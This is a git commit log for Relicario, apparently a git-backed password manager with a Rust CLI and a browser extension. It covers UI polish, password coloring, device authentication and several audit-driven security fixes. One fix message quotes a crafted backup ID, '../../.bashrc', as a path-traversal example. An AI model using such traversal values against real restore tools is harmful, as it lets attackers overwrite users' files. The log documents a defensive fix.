418 Commits

Author SHA1 Message Date
adlee-was-taken
4e9d834920 feat(ext/setup): hand off completion to fullscreen vault tab (P2)
After successful device registration (state.configPushed = true), the
wizard now opens vault.html in a new tab and closes the setup tab.
Both create-new and attach-existing flows funnel through the same
finishSetup() handler. Closing the setup tab is best-effort --
chrome.tabs.remove failures don't block the vault open.

Add src/__stubs__/relicario_wasm.stub.ts + vitest.config alias so
setup.ts can be imported in unit tests without the runtime WASM file.
Exclude the stubs dir from the webpack/tsc build in tsconfig.json.
2026-05-02 19:15:35 -04:00
adlee-was-taken
631e9af470 fix(ext/login): constrain lower form sections to .form-grid envelope (P3)
Notes, custom-fields disclosure, attachments disclosure, and form-actions
in fullscreen logins now sit inside a .form-lower wrapper with the same
max-width: 960px; margin: 0 auto envelope as .form-grid above. Removes
the visual rhythm break at the 2-col -> full-width transition.

Popup keeps its current single-column behavior (gated on surface flag).
2026-05-02 19:07:33 -04:00
adlee-was-taken
b2fc56709a feat(ext/settings): Display section with color pickers + swatch + reset
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 19:03:23 -04:00
adlee-was-taken
b928ed407b feat(ext): apply color scheme on popup + vault startup
Import applyColorScheme in popup.ts and vault.ts, await it at boot,
and register a chrome.storage.onChanged listener so live color-picker
changes take effect without a reload.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 18:55:28 -04:00
adlee-was-taken
6bca0b3526 feat(ext/popup/item-detail): colorize revealed password field
Add data-field-kind attribute to renderConcealedRow so wireFieldHandlers
can distinguish password fields from other concealed rows (TOTP secrets,
CVV, PIN, private keys). Apply colorizePassword() on reveal when kind is
"password"; plain textContent otherwise. Pass kind through renderSections
for custom-section password fields.
2026-05-02 18:49:56 -04:00
adlee-was-taken
f45c275566 feat(ext/generator): colorize live password preview 2026-05-02 18:49:56 -04:00
adlee-was-taken
3e4312ca6f feat(ext/popup/field-history): colorize revealed password entries
Import colorizePassword and post-process .revealed value cells after
innerHTML render, replacing escaped-HTML text with colored spans via
the valueStore plaintext lookup.
2026-05-02 18:47:12 -04:00
adlee-was-taken
518b41e9cd style(ext): add password-coloring CSS rules + custom property defaults 2026-05-02 17:19:06 -04:00
adlee-was-taken
1de7cda1b0 feat(ext/shared): add colorizePassword utility
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 17:17:05 -04:00
adlee-was-taken
25c9eb52a0 feat(ext/shared): color-scheme storage + applyColorScheme
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 16:49:03 -04:00
adlee-was-taken
2df636e454 fix(ext/login): dispatch input event after regenerate sets password (B1)
Programmatic input.value = newPassword does not fire input events, so
the strength-meter listener at shared/form-affordances/password-tools.ts:65
never re-rates the new value — meter stays stuck on the prior reading.

Extract applyGeneratedPassword(input, value) helper that sets value, type,
then dispatches new InputEvent('input', { bubbles: true }). Vitest covers
the dispatch + a sanity check that bubbling listeners fire.
2026-05-02 16:46:06 -04:00
adlee-was-taken
575343dc19 refactor(ext/vault): event delegation for error-cta + CSS variable consistency 2026-05-02 16:41:39 -04:00
adlee-was-taken
1c641b4911 fix(ext/vault): friendly error block in fullscreen tab (closes B2)
Replaces raw escapeHtml(state.error) renders with lookupErrorCopy()-driven
title/body/CTA blocks. vault_locked specifically gets an 'Unlock vault'
CTA that refocuses the passphrase input. Other CTAs route to setup.html
or chrome.runtime.reload().

Closes B2; concludes P4.
2026-05-02 16:37:16 -04:00
adlee-was-taken
214e1e49f8 test(ext/shared): pin fallback title assertion in error-copy test 2026-05-02 16:30:09 -04:00
adlee-was-taken
648dcf386e feat(ext/shared): centralize error-message copy in ERROR_COPY map
Replaces the popup's regex-chain humanizeError with a total lookup over
every error code returned by extension/src/service-worker/router/. A
generated test discovers codes via grep so the registry can't drift.
The popup keeps its small set of regex translators for Rust/serde error
phrasing that doesn't go through the router's error vocabulary.

Subsumes B2 — fullscreen consumer lands in the next commit.
2026-05-02 16:26:01 -04:00
adlee-was-taken
c3d8778042 docs: add v0.5.0 PM/Dev-A/Dev-B kickoff prompts
Three-terminal coordination paradigm: a PM session reviews and
integrates while two senior-dev sessions work parallel feature
branches in their own worktrees, dispatching subagents per
task. Prompts encode roles, boundaries, status/directive/question
block formats for user-relayed cross-terminal coordination, and
pre-tag checklists.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 16:07:14 -04:00
adlee-was-taken
900ccf1cf4 docs: refresh README, ARCHITECTURE, overview for current state
Apply trivial-fix findings from the 2026-05-02 doc audit:
- README: items/ vs entries/, settings.enc + attachments/ +
  revoked.json in vault layout, full crate tree (relicario-wasm
  + relicario-server + typed-items modules), 16-char hex IDs,
  roadmap reflects shipped trains
- ARCHITECTURE.md: git-server box reflects items/ + 16-char IDs;
  relicario-core inner box lists typed-items modules
- architecture/overview.md: ID width / 128-bit AttachmentId

8 deeper findings still proposed for v0.5.0 release prep.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 16:04:02 -04:00
adlee-was-taken
3caa7af194 docs(plan): v0.5.0 plans A/B and doc audit
Plan A (Rust + docs): S1 pre-receive hook fix, S2 tar
path-traversal hardening, S3 RELICARIO_* env-var audit, C1
stale branch cleanup. ~9 tasks, ~50 steps.

Plan B (extension UX): P4 error-copy centralization (subsumes
B2), B1 strength-meter regenerate fix, P1 password coloring
(inlined), P3 form-layout envelope, P2 setup → fullscreen tab.
~15 tasks, ~85 steps.

Doc audit: 14 findings, 6 fixed inline (README, ARCHITECTURE,
overview), 8 proposed for v0.5.0 release prep.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 16:03:53 -04:00
adlee-was-taken
57237af39e docs(spec): v0.5.0 polish + harden bundle
Anchors on a HIGH-severity auth bypass in the relicario-server
pre-receive hook (revocation + registered-device checks both
unimplemented), bundles two hardening follow-ups, two confirmed
bugs, and four UX improvements. Splits into Plan A (Rust + docs)
and Plan B (extension UX) for independent merge cadence.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 15:45:57 -04:00
adlee-was-taken
5da1e520e3 Merge feature/phase-2b-polish: polish foundation + form layout 2026-05-02 15:10:03 -04:00
adlee-was-taken
f1c615c0ed feat(ext/vault): fullscreen form header with dirty-state subtitle
Title left ('new login' / 'edit login'), subtitle below cycles between
'no changes' and 'unsaved · esc to cancel' on input events. Right side
shows the platform-aware save hint ('⌘+S to save' / 'Ctrl+S to save').
The actual ⌘+S keymap arrives in Phase 3 — this is a visual hint only.
2026-05-02 15:06:42 -04:00
adlee-was-taken
b270dfedb4 feat(ext/vault): sticky save bar in fullscreen forms
The form pane gets a flex column layout: scrollable content above,
sticky save bar at bottom. Bar uses translucent fill with backdrop-blur
and a 24px gradient fade so content scrolls under it. Save / cancel
buttons reuse the form's existing handlers via externalActions flag.
2026-05-02 15:05:09 -04:00
adlee-was-taken
a28b456191 feat(ext/login): add surface flag for two-column fullscreen form
renderForm() takes an optional { surface: 'popup' | 'fullscreen' }
parameter. When 'fullscreen', the Identity and Credentials field
groups render as glass cards inside a .form-grid (two columns,
stacks at <=720px). Popup keeps its single-column layout.
2026-05-02 15:01:35 -04:00
adlee-was-taken
058a49f68b style(ext/vault): apply .surface-backdrop to fullscreen body
Subtle radial top-glow + grid texture behind the existing vault shell.
No layout changes — existing panes sit above the backdrop's ::before.
2026-05-02 14:55:37 -04:00
adlee-was-taken
97e351fa61 feat(ext/setup): apply polish vocabulary to setup wizard
- Wraps setup content in .surface-backdrop
- Each wizard step gets a .glass card
- Mode-picker cards become glass cards
- 'next' / 'continue' buttons get the ▸ glyph
- Migrate from .btn .btn-primary to the new .btn-primary class
2026-05-02 14:52:14 -04:00
adlee-was-taken
7371eff0bb feat(ext/popup): polish unlock view with logo lockup + glass card
Restructures the unlock screen so the form sits in a glass card with
a primary 'unlock vault' button. Logo, brand, and tagline are grouped
as a lockup. Open-vault and settings are demoted to secondary buttons.
Body gets the .surface-backdrop wrapper.
2026-05-02 14:21:04 -04:00
adlee-was-taken
308ef2c974 feat(ext): add GLYPH_NEXT and replace ASCII arrows with ▸
Replaces the ASCII rightwards arrow → with U+25B8 ▸ in settings-vault
buttons. Matches the existing ▾/▸ disclosure-glyph family.
2026-05-02 14:17:55 -04:00
adlee-was-taken
60d7c074c3 style(ext): add .btn-primary and .btn-secondary classes
Two-tier button hierarchy. .btn-primary uses patina gold fill; .btn-secondary
is a ghost button with muted border. Existing .btn class kept for
backwards compatibility.
2026-05-02 13:33:18 -04:00
adlee-was-taken
91536ee50d style(ext): add .glass card class
Translucent fill, soft border, inner highlight, drop shadow. Used for
the unlock card, setup step cards, and form section panels.
2026-05-02 13:32:55 -04:00
adlee-was-taken
da61529de6 style(ext): add .surface-backdrop class
Subtle radial top-glow + 18px grid texture. Used as the backdrop for
the login popup, setup wizard, and fullscreen vault shell.
2026-05-02 13:32:39 -04:00
adlee-was-taken
7370f119ee style(ext/vault): add patina palette tokens
Mirrors popup/styles.css token block so the two surfaces share a
consistent color vocabulary.
2026-05-02 13:31:33 -04:00
adlee-was-taken
479e5848f5 style(ext/popup): add patina palette tokens
Replaces bright amber #d2ab43 with patina gold #a88a4a as the new base.
Keeps --accent as alias for backwards compatibility. Adds --bg-card
and --border-soft for upcoming glass card class.
2026-05-02 13:29:22 -04:00
adlee-was-taken
d038b24c6b docs(plan): Phase 2B polish foundation + form layout
13-task plan to land patina palette, polish vocabulary (.surface-backdrop,
.glass, .btn-primary/secondary, ▸ arrow glyph), restructured login popup,
setup wizard polish, two-column login form, sticky save bar, and dirty-
state header subtitle.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 13:25:35 -04:00
adlee-was-taken
d6d07a19c1 docs(spec): expand Phase 2B to polish foundation + form layout
Bundles patina palette shift, logo update (translucent gradient gem),
glass-card vocabulary across login/setup/fullscreen, and the original
two-column form layout. Updates relicario-logo.svg and -16.svg to the
patina palette.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 13:19:54 -04:00
adlee-was-taken
d0047e751f fix(ext): capitalize Relicario in Firefox manifest, bump to 0.2.0
The Chrome manifest was already updated; the Firefox manifest still
showed lowercase 'relicario' as the extension name and was pinned at
0.1.0.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 13:02:01 -04:00
adlee-was-taken
8bf21501a5 docs(spec): Phase 2B form layout (fullscreen login)
Two-column CSS Grid for login forms, sticky save bar, and dirty-state
header subtitle. Other item types stay single-column with the polish
applied. Stacks to single column at <=720px viewport.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 12:55:07 -04:00
adlee-was-taken
b1af0a11bc Merge feature/plan-4-security-fixes: security fixes + device authentication 2026-05-02 12:44:05 -04:00
adlee-was-taken
c67d484152 feat(extension): update devices UI for new auth model
- Show revoked devices in collapsible section with strikethrough styling
- Fetch revoked.json via new list_revoked message + router case
- Registration flow uses register_device WASM API (private keys internal)
- Display revoked_by and timestamp for each revoked entry
- Update setup wizard to use new register_device API

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:29:31 -04:00
adlee-was-taken
fb1f28161c feat(wasm): secure device API (private keys never cross to JS)
- register_device() generates signing + deploy keypairs via core device
  module, stores them in DEVICE_STATE (once_cell Lazy<Mutex>), and
  returns only public keys to JS
- sign_for_git() signs data using the internal signing key
- get_device_info() returns name and public keys; returns null if not
  registered
- clear_device() zeroes and drops device state (logout / re-registration)
- Removed generate_device_keypair() which exposed raw private key bytes

Fixes audit I5: private key material no longer crosses the WASM boundary.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:27:50 -04:00
adlee-was-taken
520f6ec72c feat(extension): update devices.ts for revoked.json + deploy keys
- Add createDeployKey/deleteDeployKey to GiteaHost
- Add RevokedEntry interface and readRevoked() to devices.ts
- Update revokeDevice() to write revoked.json alongside devices.json
- Update router to use new register_device WASM API (private keys internal)
- Pass revokedBy device name when revoking

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:27:14 -04:00
adlee-was-taken
9845febb74 feat(extension): update wasm.d.ts for secure device API
New WASM bindings that keep private keys internal.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:26:13 -04:00
adlee-was-taken
15d691abb2 feat(cli): implement device revoke
- Remove device from devices.json
- Append to revoked.json with timestamp and revoked_by
- Delete Gitea deploy key (best-effort, warns if env vars missing)
- Always commit both devices.json and revoked.json together
- Print revoked signing public key for audit confirmation
- Guard against revoking the current device (would lose push access)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:22:59 -04:00
adlee-was-taken
b1f9f2fbfc feat(cli): implement device add with signing + deploy key
- Create crates/relicario-cli/src/device.rs: local key storage under
  ~/.config/relicario/devices/<name>/, current-device tracking, and
  git signing config (gpg.format=ssh, user.signingkey, core.sshCommand)
- Add Device command to CLI with add/revoke/list subcommands
- cmd_device add: generates two ed25519 keypairs (signing + deploy),
  registers deploy key via Gitea API, stores keys at 0600, configures
  git SSH signing, updates .relicario/devices.json and commits
- Gitea config read from flags or RELICARIO_GITEA_{URL,TOKEN,OWNER,REPO}
- --no-gitea flag skips API registration for non-Gitea remotes

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:19:55 -04:00
adlee-was-taken
61f2f9c18f feat(server): add relicario-server for pre-receive hook
- verify-commit command checks signature against devices.json
- generate-hook outputs installable pre-receive script
- Foundation for server-side enforcement

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 12:15:57 -04:00
adlee-was-taken
7e07d5d664 feat(cli): add Gitea API client for deploy keys
Create, delete, and list deploy keys via Gitea REST API.
Foundation for device authentication.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 12:14:46 -04:00
adlee-was-taken
dc683c7e4c feat(core): add device module with ed25519 signing
OpenSSH-format keypair generation, signing, and verification.
Foundation for device authentication.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 12:13:57 -04:00
adlee-was-taken
8e26c8708b docs: document manifest integrity model (audit I4)
Clarifies what AEAD protects (tampering) vs. what it doesn't (deletion,
rollback). Documents that git history is the audit trail and device
authentication is the mitigation.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 09:36:34 -04:00
adlee-was-taken
b9f44a3d4f fix(cli): enforce per-vault attachment bytes cap (audit I3)
per_vault_soft_cap_bytes and per_vault_hard_cap_bytes were defined in
VaultSettings but never checked. Now enforced in cmd_attach with
warning at soft cap, error at hard cap.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 09:34:33 -04:00
adlee-was-taken
d6703be2b1 fix(cli): sanitize item titles in commit messages (audit I1)
Control characters (newlines, tabs) in item titles corrupted git log
output. Now strips control chars and truncates to 50 chars.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 09:29:49 -04:00
adlee-was-taken
81f1f8ec31 fix(cli): validate IDs on backup restore (audit B4)
Crafted .relbak files with IDs like "../../.bashrc" could escape the
target directory. Now validates that item/attachment IDs are hex-only
via is_valid() before any fs::write.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 02:21:49 -04:00
adlee-was-taken
2739eb4194 fix(cli): gate test env vars with #[cfg(debug_assertions)] (audit B3)
RELICARIO_TEST_PASSPHRASE and friends were checked in production code,
exposing the passphrase via /proc/<pid>/environ and shell history.

Now only compiled into debug binaries via cfg(debug_assertions) helper
functions. Release builds compile the helpers to return None, so the
env var names are absent from the release binary (verified via strings).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:46:13 -04:00
adlee-was-taken
628e2bd636 fix(core): disable HOTP with clear error (audit I6)
HOTP requires incrementing and persisting the counter after each use.
Without vault-save machinery in compute_totp_code, HOTP would desync
immediately. Now returns HotpNotSupported error.

TOTP and Steam codes continue to work.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:36:31 -04:00
adlee-was-taken
466efe4b8a fix(core): expand AttachmentId to 128 bits, add is_valid (audit I2, B4)
- AttachmentId now uses 16 bytes of SHA-256 (128 bits) instead of 8,
  requiring ~2^64 work for birthday collision instead of ~2^32.
- Added is_valid() to ItemId and AttachmentId for path traversal
  prevention during backup restore.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:32:48 -04:00
adlee-was-taken
bbdbcca87b fix(core): NFC normalize backup passphrase (audit B2)
Backup KDF was passing raw passphrase bytes to Argon2id without NFC
normalization, causing cross-platform restore failures for non-ASCII
passphrases (macOS NFD vs Linux NFC).

Now matches derive_master_key behavior from crypto.rs.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:29:08 -04:00
adlee-was-taken
27c4ac69cb docs: add Plan 4 — Security Fixes + Device Authentication
Phase A: 8 security fixes (B2-B4, I1-I6)
Phase B: 10 tasks for real device authentication
- ed25519 signing keys with git SSH signing
- Deploy keys managed via Gitea API
- Pre-receive hook for server-side enforcement
- WASM API that keeps private keys internal

Total: 18 tasks

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:23:14 -04:00
adlee-was-taken
3d3e9ac7f2 docs: add device authentication design spec
Real device auth replacing the security-theater implementation:
- Signing keys (ed25519) for commit signatures
- Deploy keys managed via Gitea API
- Server-side pre-receive hook enforcement
- CLI and extension feature parity
- Instant revocation (signing + push access)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 01:17:32 -04:00
adlee-was-taken
71d51c0bea docs: add security audits and Plan 4 for blocker fixes
- 2026-04-18 initial audit verification (all fixed except H8)
- 2026-05-01 audit with 8 new findings (B1-B4, I1-I6)
- Plan 4: Security Blocker Fixes implementation plan

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-02 00:42:17 -04:00
adlee-was-taken
8f78b6dc01 style(claude.md): document Mexican Spanish sprinkle preference
Codifies the casual-style flourish (1-2 Spanish words/idioms per reply
with [translation] brackets) as a project-level preference so it
survives memory-system refactors. Replies only — never in code, files,
or commit messages.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:47:07 -04:00
adlee-was-taken
315967f4a1 Merge feature/fullscreen-ux-phase-2a: smart-input affordances
Phase 2A of the fullscreen UX redesign — 8 form-level smart-input
affordances (URL fill-from-tab + hostname chip, group autocomplete,
password reveal + strength bar, TOTP live preview + QR decode, notes
monospace toggle), shared between popup and fullscreen vault tabs via
the new extension/src/shared/form-affordances/ module set.

CLI parity:
- relicario rate <passphrase> (zxcvbn score / guess estimate)
- relicario completions <SHELL> (bash/zsh/fish via clap_complete)
- --group <TAB> dynamic enumeration via .relicario/groups.cache
  (plaintext leak surface; opt out with RELICARIO_NO_GROUPS_CACHE=1)
- --totp-qr <path> on add login + edit (rqrr decode)

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:37:18 -04:00
adlee-was-taken
b450ecd1cc ext(login): wire 8 smart-input affordances into renderForm()
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-01 22:32:14 -04:00
adlee-was-taken
e6eb698c4c ext(affordances): wireNotesMonoToggle with chrome.storage.local persistence 2026-05-01 22:23:56 -04:00
adlee-was-taken
8855078179 cli: --totp-qr <path> flag on add login + edit (rqrr decode)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-01 22:22:20 -04:00
adlee-was-taken
bd8102c9ad ext(affordances): wireTotpQr (jsqr lazy-load) for QR -> otpauth:// fill
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-01 22:14:05 -04:00
adlee-was-taken
c91b31a7ca ext(affordances): wireTotpPreview live ticker 2026-05-01 19:56:55 -04:00
adlee-was-taken
bb8b86f0d5 ext(sw): add preview_totp_from_secret popup handler 2026-05-01 19:55:24 -04:00
adlee-was-taken
ed2d299a92 cli: add 'rate <passphrase>' subcommand (zxcvbn) 2026-05-01 19:53:29 -04:00
adlee-was-taken
7bd1a9dd7d ext(affordances): wirePasswordStrength via scheduleRate
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 19:50:18 -04:00
adlee-was-taken
026b94092e ext(affordances): wirePasswordReveal toggle 2026-05-01 19:48:32 -04:00
adlee-was-taken
f7e245d6b0 cli: write groups.cache for shell-completion --group enumeration
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-01 18:19:53 -04:00
adlee-was-taken
6cbd011705 cli: add 'completions <SHELL>' subcommand via clap_complete 2026-05-01 18:13:17 -04:00
adlee-was-taken
e452d8df02 ext(affordances): wireGroupAutocomplete via <datalist> 2026-05-01 18:09:33 -04:00
adlee-was-taken
5fbdd30a19 ext(sw): add list_groups popup handler 2026-05-01 18:08:34 -04:00
adlee-was-taken
61dbb4d3a3 ext(affordances): wireHostnameChip with debounced URL parse 2026-05-01 18:06:15 -04:00
adlee-was-taken
8eff96da9d ext(affordances): tighten FillFromTabOpts.sendMessage return type 2026-05-01 17:54:57 -04:00
adlee-was-taken
39ae2ecbf3 style: capitalize "Relicario" in prose / UI / CLI help
Brand name uses capital R in user-facing text — extension UI strings,
CLI clap help / descriptions / error prose, markdown docs. Lowercase
preserved for the binary command, crate names, npm package, file
paths, env vars, and code identifiers.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 17:29:10 -04:00
adlee-was-taken
4be0bcff83 ext(affordances): wireFillFromTab + .glyph-btn CSS 2026-05-01 17:07:01 -04:00
adlee-was-taken
918fdef519 ext(sw): expand active-tab URL filter; isolate chrome stub in tests
Expand get_active_tab_url protocol filter regex to include view-source:,
data:, devtools:, and other browser-internal/extension contexts that would
misbehave if autofilled. Add third regression test for view-source: URLs.

Wrap get_active_tab_url tests in dedicated describe block with beforeEach/
afterEach to snapshot/restore globalThis.chrome, preventing stub leakage
between tests.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 17:01:36 -04:00
adlee-was-taken
f872ab5183 ext(sw): add get_active_tab_url popup handler 2026-05-01 16:57:18 -04:00
adlee-was-taken
6eeb292fd0 ext(affordances): seed shared/form-affordances/ + barrel test 2026-05-01 16:53:58 -04:00
adlee-was-taken
79b10d6a18 docs(plans): fullscreen UX Phase 2A — smart inputs
18 tasks across 8 phases covering all 8 form-level smart-input
affordances from spec section C (popup + fullscreen share login.ts) plus
CLI parity (rate, --totp-qr, completions + groups.cache). Cross-plan
coordination notes flag overlap with Phases 2B (recovery-QR) and 2C
(password coloring) — no conflicts, only shared APIs (rate_passphrase,
strength widget).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 16:38:34 -04:00
adlee-was-taken
eb443c38b4 docs(plans): recovery QR + entropy floor; password coloring
Two implementation plans, one per spec landed in 00da7e7. Each plan
decomposes its spec into bite-sized TDD tasks with exact file paths,
complete code, and per-task commits.

- recovery-qr-and-entropy-floor.md (15 tasks, 6 phases): core crypto
  module + wasm bindings + CLI subcommands (imgsecret embed, recovery-qr
  generate/unlock, --force-weak-passphrase) + extension popup window
  with canvas QR + vault-tab button + unlock-flow recovery link +
  zxcvbn>=3 hard gate at init (CLI + setup wizard) + soft warning at
  unlock for grandfathered weak vaults.
- password-coloring.md (9 tasks, 6 phases): pure colorizePassword()
  utility + chrome.storage.sync round-trip + applyColorScheme() boot
  step + four reveal-surface integrations (field history, popup item
  detail, fullscreen item detail, generator preview) + settings UI
  with color pickers and live-preview swatch. Task 6 (fullscreen)
  flagged for coordination with in-flight Phase 1 UX work.

Both plans follow the subagent-driven execution preference per
feedback_subagent_default.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 16:25:33 -04:00
adlee-was-taken
00da7e7931 docs(specs): recovery QR + passphrase entropy floor; password coloring
Two design specs landed together because they're driven by the same
brainstorm session and target the same release window:

- 2026-05-01-recovery-qr-design.md: 1-of-2 disaster recovery via a
  paper-or-photo QR carrying image_secret encrypted under Argon2id-of-
  passphrase. Display-first UX (snap with phone), print as secondary.
  Memory-only — architecturally no API path produces a file. Includes
  domain-separation tag, type-level KDF params floor, shared NFC
  normalization helper, and a passphrase entropy floor (zxcvbn >= 3)
  enforced at vault init.
- 2026-05-01-password-coloring-design.md: 1Password-style character-
  class coloring on revealed passwords (digits/symbols/letters with
  user-customizable colors via chrome.storage.sync). Single shared
  colorizePassword() helper, default scheme blue/red/inherit.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 16:15:14 -04:00
adlee-was-taken
87e63c2f77 Merge feature/fullscreen-ux-phase-1: Phase 1 visual foundation
14 commits establishing the shared visual language for the fullscreen UX
redesign:

- New shared/glyphs.ts (10 monochrome glyph constants + REQUIRED_PILL_HTML).
- Color tokens (:root vars), :focus-visible ring, .req-pill, .form-header,
  .form-subtitle in both popup/styles.css and vault/vault.css (kept identical).
- All 10 required-marker sites migrated from <span class="req">*</span> to
  REQUIRED_PILL_HTML across the 7 type forms.
- Sidebar nav emoji replaced with glyph constants (vault sidebar + popup
  settings panel).
- Popout-to-tab button gated on !isInTab() across 8 form files.
- Static "esc to cancel" subtitle below fullscreen form headers (suppressed
  in popup); .form-header CSS owns spacing via :has(+ .form-subtitle).
- renderFormHeader({ titleText }) shared helper consumed by all 7 type forms.
- TYPED_FORMS shared list parameterizes 5 it.each test files for automatic
  coverage of any new typed form.

268/268 tests pass; webpack production build clean. Foundation for Phase 2
(smart inputs), Phase 3 (three-pane shell + keymap + unsaved guard), and
Phase 4 (command palette + multi-select + drag-drop).

Plan: docs/superpowers/plans/2026-04-30-fullscreen-ux-phase-1-visual-foundation.md
Spec: docs/superpowers/specs/2026-04-30-relicario-fullscreen-ux-redesign-design.md
2026-05-01 14:36:36 -04:00
adlee-was-taken
ef7bd5b848 refactor(ext/popup): renderFormHeader takes options object
Whole-branch review recommendation: switch renderFormHeader's signature
from positional (titleText) to options ({ titleText }) so Phase 3 can
add 'dirty' (and any future hooks like a save-keybinding hint) without
touching all 7 call sites in lockstep with the unsaved-guard work.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 14:33:29 -04:00
adlee-was-taken
1454cd8165 refactor(ext/popup): extract renderFormHeader + .form-header CSS
Code-review feedback on Task 8: the conditional empty
<div style="margin-bottom:16px;"> spacer was an inline-styled magic
number and the 6-line header pattern was duplicated across all 7 typed
forms.

Now:
- .form-header class owns the bottom margin in both stylesheets.
- :has(+ .form-subtitle) selector drops the margin when a subtitle
  follows, so spacing tokens stay in CSS instead of inline styles.
- renderFormHeader(titleText) shared helper collapses the 6-line
  duplication to a one-liner per form. item-form.ts (type-selection
  screen) is unaffected — it uses a different header structure.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 14:26:16 -04:00
adlee-was-taken
381e8ed496 feat(ext): static 'esc to cancel' subtitle in fullscreen form headers
All seven type forms plus the type-selection screen now show a small
'esc to cancel' subtitle under the heading when rendered in the
fullscreen vault tab (isInTab() === true). The subtitle is suppressed
in the popup, where esc has the more general meaning of closing the
popup. .form-subtitle class is shared between popup and vault
stylesheets so future hooks can reuse it.

Dynamic dirty-state ('unsaved · esc to cancel') wiring is deferred to
Phase 3 (unsaved-changes guard).

Plan 2026-04-30 fullscreen UX phase 1 task 8.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 14:17:59 -04:00
adlee-was-taken
38ba31768a refactor(ext/test): extract TYPED_FORMS shared list for it.each tests
Code-review feedback on Task 7: the same Array<[name, renderForm]> of
all 7 typed forms appeared in three test files (required-pill,
popout-button, popout-button-fullscreen). A new typed form would have
required updating all three.

Now defined once in __tests__/_typed-forms.ts. Future typed-form
additions get regression coverage automatically.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 14:14:21 -04:00
adlee-was-taken
71ad91592d feat(ext/popup): hide popout-to-tab button in fullscreen forms
The ⤴ popout button is meaningless when the form is already in
vault.html — gate it on !isInTab(). Affects all seven type forms plus
the type-selection screen. Regression tests cover both popup (button
present) and fullscreen (button absent) contexts via it.each across
all 7 forms.

Plan 2026-04-30 fullscreen UX phase 1 task 7.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 21:01:47 -04:00
adlee-was-taken
05b1fae9f4 style(ext/popup): replace settings nav emoji with shared glyphs
▦ trash and ⌬ devices in the popup settings panel now match the
fullscreen sidebar's glyph language. Lowercased labels match the brand.

Plan 2026-04-30 fullscreen UX phase 1 task 6.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:57:00 -04:00
adlee-was-taken
e2260e9df4 style(ext/vault): replace sidebar emoji nav with monochrome glyphs
▦ trash · ⌬ devices · ⚙ settings · ⏻ lock — all imported from the new
shared/glyphs module so popup and fullscreen stay in sync. Regression
test scans the source for the old escape-coded emoji to prevent
backsliding.

Plan 2026-04-30 fullscreen UX phase 1 task 5.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:53:50 -04:00
adlee-was-taken
a634b6c745 refactor(ext): broaden required-pill test + drop dead .label .req CSS
Code-review feedback on Task 4:
- Test expanded from login-only to it.each across all 7 type forms
  (14 assertions total). A future revert to <span class="req">*</span>
  in any form now fails CI.
- .label .req rule removed from popup/styles.css and vault/vault.css —
  zero consumers after the REQUIRED_PILL_HTML migration.

